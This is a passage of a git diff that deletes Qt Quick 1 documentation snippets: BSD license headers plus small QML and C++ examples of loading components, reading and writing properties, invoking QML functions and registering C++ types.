HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// MyItem.qml -import QtQuick 1.0 - -Item { - function myQmlFunction(msg) { - console.log("Got message:", msg) - return "some return value" - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-qml/main.cpp b/doc/src/snippets/qtquick1/qtbinding/functions-qml/main.cpp deleted file mode 100644 index ba72e9459a..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/functions-qml/main.cpp +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - -//![0] -// main.cpp -QDeclarativeEngine engine; -QDeclarativeComponent component(&engine, "MyItem.qml"); -QObject *object = component.create(); - -QVariant returnedValue; -QVariant msg = "Hello from C++"; -QMetaObject::invokeMethod(object, "myQmlFunction", - Q_RETURN_ARG(QVariant, returnedValue), - Q_ARG(QVariant, msg)); - -qDebug() << "QML function returned:" << returnedValue.toString(); -delete object; -//![0] -} - diff --git a/doc/src/snippets/qtquick1/qtbinding/loading/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/loading/MyItem.qml deleted file mode 100644 index 1092200d14..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/loading/MyItem.qml +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![start] -import QtQuick 1.0 - -Item { - width: 100; height: 100 -//![start] - -//![child] - Rectangle { - anchors.fill: parent - objectName: "rect" - } -//![child] - -//![end] -} -//![end] diff --git a/doc/src/snippets/qtquick1/qtbinding/loading/main.cpp b/doc/src/snippets/qtquick1/qtbinding/loading/main.cpp deleted file mode 100644 index 839b7352a5..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/loading/main.cpp +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -static void withComponent() -{ -//![QDeclarativeComponent-a] -// Using QDeclarativeComponent -QDeclarativeEngine engine; -QDeclarativeComponent component(&engine, - QUrl::fromLocalFile("MyItem.qml")); -QObject *object = component.create(); -//![QDeclarativeComponent-a] -} - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - -//![QDeclarativeView] -// Using QDeclarativeView -QDeclarativeView view; -view.setSource(QUrl::fromLocalFile("MyItem.qml")); -view.show(); -QObject *object = view.rootObject(); -//![QDeclarativeView] - -//![properties] -object->setProperty("width", 500); -QDeclarativeProperty(object, "width").write(500); -//![properties] - -//![cast] -QDeclarativeItem *item = qobject_cast(object); -item->setWidth(500); -//![cast] - -//![findChild] -QObject *rect = object->findChild("rect"); -if (rect) - rect->setProperty("color", "red"); -//![findChild] - -//![QDeclarativeComponent-b] -delete object; -//![QDeclarativeComponent-b] - -withComponent(); - - return app.exec(); -} - diff --git a/doc/src/snippets/qtquick1/qtbinding/newelements/imageviewer.h b/doc/src/snippets/qtquick1/qtbinding/newelements/imageviewer.h deleted file mode 100644 index 7bbc243d83..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/newelements/imageviewer.h +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -#include -#include - -class ImageViewer : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(QUrl image READ image WRITE setImage NOTIFY imageChanged) - -public: - void setImage(const QUrl &url); - QUrl image() const; - -signals: - void imageChanged(); -}; -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/newelements/main.cpp b/doc/src/snippets/qtquick1/qtbinding/newelements/main.cpp deleted file mode 100644 index ead2fd1722..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/newelements/main.cpp +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -#include "imageviewer.h" - -void ImageViewer::setImage(const QUrl &url) {} -QUrl ImageViewer::image() const { return QUrl(); } - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - - //![register] - qmlRegisterType("MyLibrary", 1, 0, "ImageViewer"); - //![register] - - QDeclarativeView view; - view.setSource(QUrl::fromLocalFile("standalone.qml")); - view.show(); - - return app.exec(); -} - diff --git a/doc/src/snippets/qtquick1/qtbinding/newelements/standalone.qml b/doc/src/snippets/qtquick1/qtbinding/newelements/standalone.qml deleted file mode 100644 index d2a8926bd0..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/newelements/standalone.qml +++ /dev/null @@ -1,44 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import MyLibrary 1.0 - -ImageViewer { image: "smile.png" } -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/properties-cpp/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/properties-cpp/MyItem.qml deleted file mode 100644 index 414bad76db..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/properties-cpp/MyItem.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// MyItem.qml -import QtQuick 1.0 - -Rectangle { - width: 100; height: 100 - color: applicationData.backgroundColor - - MouseArea { - anchors.fill: parent - onClicked: applicationData.backgroundColor = "red" - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/qtbinding/properties-cpp/applicationdata.h b/doc/src/snippets/qtquick1/qtbinding/properties-cpp/applicationdata.h deleted file mode 100644 index b558e8528f..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/properties-cpp/applicationdata.h +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include - -//![0] -class ApplicationData : public QObject -{ - Q_OBJECT - Q_PROPERTY(QColor backgroundColor - READ backgroundColor - WRITE setBackgroundColor - NOTIFY backgroundColorChanged) - -public: - void setBackgroundColor(const QColor &c) { - if (c != m_color) { - m_color = c; - emit backgroundColorChanged(); - } - } - - QColor backgroundColor() const { - return m_color; - } - -signals: - void backgroundColorChanged(); - -private: - QColor m_color; -}; -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/properties-qml/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/properties-qml/MyItem.qml deleted file mode 100644 index 26e30cce74..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/properties-qml/MyItem.qml +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// MyItem.qml -import QtQuick 1.0 - -Item { - property int someNumber: 100 -} -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/properties-qml/main.cpp b/doc/src/snippets/qtquick1/qtbinding/properties-qml/main.cpp deleted file mode 100644 index 91347ee70f..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/properties-qml/main.cpp +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - -//![0] -QDeclarativeEngine engine; -QDeclarativeComponent component(&engine, "MyItem.qml"); -QObject *object = component.create(); - -qDebug() << "Property value:" << QDeclarativeProperty::read(object, "someNumber").toInt(); -QDeclarativeProperty::write(object, "someNumber", 5000); - -qDebug() << "Property value:" << object->property("someNumber").toInt(); -object->setProperty("someNumber", 100); -//![0] - - return app.exec(); -} - diff --git a/doc/src/snippets/qtquick1/qtbinding/resources/example.qrc b/doc/src/snippets/qtquick1/qtbinding/resources/example.qrc deleted file mode 100644 index 5e4941512b..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/resources/example.qrc +++ /dev/null @@ -1,10 +0,0 @@ - - - - - main.qml - images/background.png - - - - diff --git a/doc/src/snippets/qtquick1/qtbinding/resources/main.cpp b/doc/src/snippets/qtquick1/qtbinding/resources/main.cpp deleted file mode 100644 index 0ec1189eeb..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/resources/main.cpp +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include - -//![0] -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - - QDeclarativeView view; - view.setSource(QUrl("qrc:/main.qml")); - view.show(); - - return app.exec(); -} -//![0] - diff --git a/doc/src/snippets/qtquick1/qtbinding/resources/main.qml b/doc/src/snippets/qtquick1/qtbinding/resources/main.qml deleted file mode 100644 index 73ff73a451..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/resources/main.qml +++ /dev/null @@ -1,46 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 